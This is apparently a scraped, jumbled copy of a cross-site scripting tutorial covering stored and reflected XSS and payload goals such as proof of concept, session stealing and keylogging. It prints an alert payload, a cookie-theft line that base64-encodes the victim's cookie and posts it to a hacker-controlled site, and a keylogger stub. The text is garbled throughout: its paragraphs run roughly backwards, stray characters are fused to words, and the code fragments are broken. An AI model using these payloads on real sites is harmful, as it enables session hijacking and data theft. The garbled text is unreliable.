The XSS payload is saved on the web application (in a database, for example) and then run when other people visit the site or page. Test for Reflected XSSĮvery conceivable entrance should be tested these include:
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The attacker may post links or embed them in an iframe on a different website to potential victims, enticing them to execute code on their browser, potentially leaking session or consumer data. When user-supplied data is included in the source of an HTTP request without any validation, it becomes possible for a reflected XSS vulnerability to occur. If the site where the payload was delivered accepted user registrations or credit card information, this might be quite dangerous.ĭocument.onkeypress = function(e) Types of XSS Reflected XSS This means anything you type on the website will be sent to a website under the hacker's control. The cookies may be used by hackers to take control of the target's session and be recorded as that person.įetch('' + btoa(okie)) Key Logger The following code utilizes a JavaScript function to steal the victim's cookie, base64-encode it for transmission, and then post it to a website controlled by the hacker. This is generally achieved by causing an alert box to appear on the page with random text, such as:Īlert('Yaj, XSS the webpage!') Session StealingĬookies on the computers of targets are commonly used to store information about a user's session, such as login tokens. This is the most basic type of payload, and all you want to accomplish is show that you can XSS a webpage. Examples of XSS Intentions Proof of Concept The intention is what you want the JavaScript to do in practice, while the modification defines the changes to the code that must be made in order for it to execute as each situation is unique. There are two components to the payload: an intention and a modification. The payload in XSS is the JavaScript code we want to execute on the target's computer.
This might range from monitoring the victim's cookies to seizing control of their session, running a keylogger that records every keystroke the user makes while visiting the website, or redirecting them to an entirely different website altogether. If you can get JavaScript to execute on a user's computer, you may do a lot of things. It's a type of injection assault where attackers inject malicious JavaScript into a website in order for it to be loaded and executed by other people. Unrestricted web applications allow users to attack other users' accounts with Cross-Site Scripting, also known as XSS in the cybersecurity world.
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